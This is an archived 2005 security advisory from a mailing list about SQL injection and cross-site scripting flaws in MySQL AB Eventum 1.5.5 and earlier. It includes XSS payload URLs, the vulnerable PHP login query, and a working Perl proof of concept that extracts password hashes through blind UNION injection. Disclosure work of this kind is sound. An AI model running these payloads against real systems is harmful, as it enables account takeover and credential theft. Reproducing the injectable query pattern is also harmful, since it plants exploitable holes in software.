

[NEWS] MySQL AB Eventum Multiple Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0012.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/02/05

To: list@securiteam.com

Date: 2 Aug 2005 18:19:39 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

MySQL AB Eventum Multiple Vulnerabilities

SUMMARY

<<http://dev.mysql.com/downloads/other/eventum/>> Eventum is "a user-friendly and flexible issue tracking system that can be used by a support department to track incoming technical support requests, or by a software development team to quickly organize tasks and bugs. Eventum is used by the MySQL AB Technical Support team".

Eventum is vulnerable to some highly exploitable SQL Injection issues as well as cross site scripting issues.

DETAILS

Vulnerable Systems:

* MySQL AB Eventum versions 1.5.5 and prior

Immune Systems:

* MySQL AB Eventum version 1.6.0 (download

<<http://lists.mysql.com/eventum-users/2072>> here)

Cross Site Scripting:

Securiteam: [NEWS] MySQL AB Eventum Multiple Vulnerabilities

There are a number of cross site scripting issues in MySQL Eventum. You can find several examples of these issues below.

<http://eventum/view.php?id=1'%22%3E%3Ciframe%3E>

<http://eventum/list.php?keywords=&users=&category=&release=%22%3E%3Ciframe%3E>

http://eventum/get_jsrs_data.php?F=wee%22%3E%3Ciframe%3E

A malicious user can exploit these vulnerabilities to steal sensitive user based information, or render hostile script in the context of the victim's web browser.

SQL Injection:

MySQL Eventum is a very well written program, and does a good job to protect against harmful input. However, there are a few some what blind SQL Injection issues in Eventum, and these issues are very exploitable.

First, let's have a look at /includes/class.auth.php:

```
/**
 * Checks whether the provided password match against the email
 * address provided.
 *
 * @access public
 * @param string $email The email address to check for
 * @param string $password The password of the user to check for
 * @return boolean
 */
function isCorrectPassword($email, $password)
{
    $stmt = "SELECT usr_password FROM " . APP_DEFAULT_DB . "." .
APP_TABLE_PREFIX . " user WHERE usr_email='$email'";
    $passwd = $GLOBALS["db_api"]->dbh->getOne($stmt);
    if (PEAR::isError($passwd) {
        Error_Handler::logError(array($passwd->getMessage(),
$passwd->getDebugInfo()), __FILE__, __LINE__);
        return false;
    } else {
        if ($passwd != md5($password)) {
            return false;
        } else {
            return true;
        }
    }
}
```

MySQL Eventum usually sanitizes within functions, so as expected the \$email variable is never sanitized before being passed to this vulnerable function. Also, if the target host is using a database that supports UNION functionality then we can overwrite the expected returned password, and bypass the password check! The above issue is very dangerous, but there is a nearly identical function used alongside the isCorrectPassword function named userExists() and it is vulnerable in an almost identical

Securiteam: [NEWS] MySQL AB Eventum Multiple Vulnerabilities

manner. In addition to the "pre-auth" SQL Injection vulns are a few other SQL Injection vulnerabilities.

```
/reports/custom_fields.php -> /includes/class.report.php ->
getCustomFieldReport()
/reports/custom_fields_graph.php -> /includes/class.report.php ->
getCustomFieldReport()
/manage/releases.php -> /includes/class.release.php->insert()
```

The above is a rough outline of the other vulnerable functions that have been patched in the recent 1.6.0 release. Users should upgrade immediately.

Patch Availability:

A new version of Eventum has been released and users are strongly advised to <<http://lists.mysql.com/eventum-users/2072>> upgrade their Eventum installations. Special thanks to Joao Prado Maia from the MySQL Devel team for a very quick resolution of these issues.

Proof of concept:

```
#!/usr/bin/perl -w
use IO::Socket;
use strict;

print "#####\n";
print "# MySQL Eventum <= v1.5.5 SQL Injection PoC #\n";
print "# James Bercegay // gulftech.org // 7-28-05 #\n";
print "#####\n";

my $host = 'localhost';
my $path = '/eventum/login.php';
my $user = '2';
my $port = 80;
my $pass = "";

my @char =
(0,'1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');

print "[*] Trying $host\n";

OUTER: for ( my $i = 1; $i < 33; $i++ )
{
  INNER: for ( my $j=0; $j < 16; $j++ )
  {
    my $used = $char[$j];
    my $sock = IO::Socket::INET->new( PeerAddr => $host, PeerPort =>
$port, Proto => 'tcp' )
      || die "[!] Unable to connect to $host\n";

    my $post = "cat=login&url=&email=%27+UNION+SELECT+
%273355d92c04a3332339b767f9278405ff%27+FROM+
```

Securiteam: [NEWS] MySQL AB Eventum Multiple Vulnerabilities

```
eventum_user+WHERE+usr_id=$user+AND+MID(usr_password,$i,1)=
'$used'%2F*&passwd=dance&Submit=Login";

my $send = "POST $path HTTP/1.1\r\n";
$send .= "Host: $host\r\n";
$send .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.7.10)
Gecko/20050716 Firefox/1.0.6\r\n";
$send .= "Connection: Keep-Alive\r\n";
$send .= "Content-type: application/x-www-form-urlencoded\r\n";
$send .= "Content-length: ".length($post)."\r\n\r\n";
$send .= "$post\r\n\r\n";

print $sock $send;

while ( my $line = <$sock> )
{
    if ( $line =~ /(.*err=7(.*)/is )
    {
        $pass .= $used;
        print "[+] Char $i is $used\n";
        last INNER;
    } #/if
}
#/while

close($sock);
}
#/for INNER

if ( length($pass) < 1 )
{
    print "[!] Host not vulnerable!";
    exit;
}
}
#/for OUTER

print "[+] Pass hash is $pass\n";
exit;
```

ADDITIONAL INFORMATION

The information has been provided by James Bercegay.

The original article can be found at:

<http://www.gulftech.org/?node=research&article_id=00093-07312005>
http://www.gulftech.org/?node=research&article_id=00093-07312005

=====

Securiteam: [NEWS] MySQL AB Eventum Multiple Vulnerabilities

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.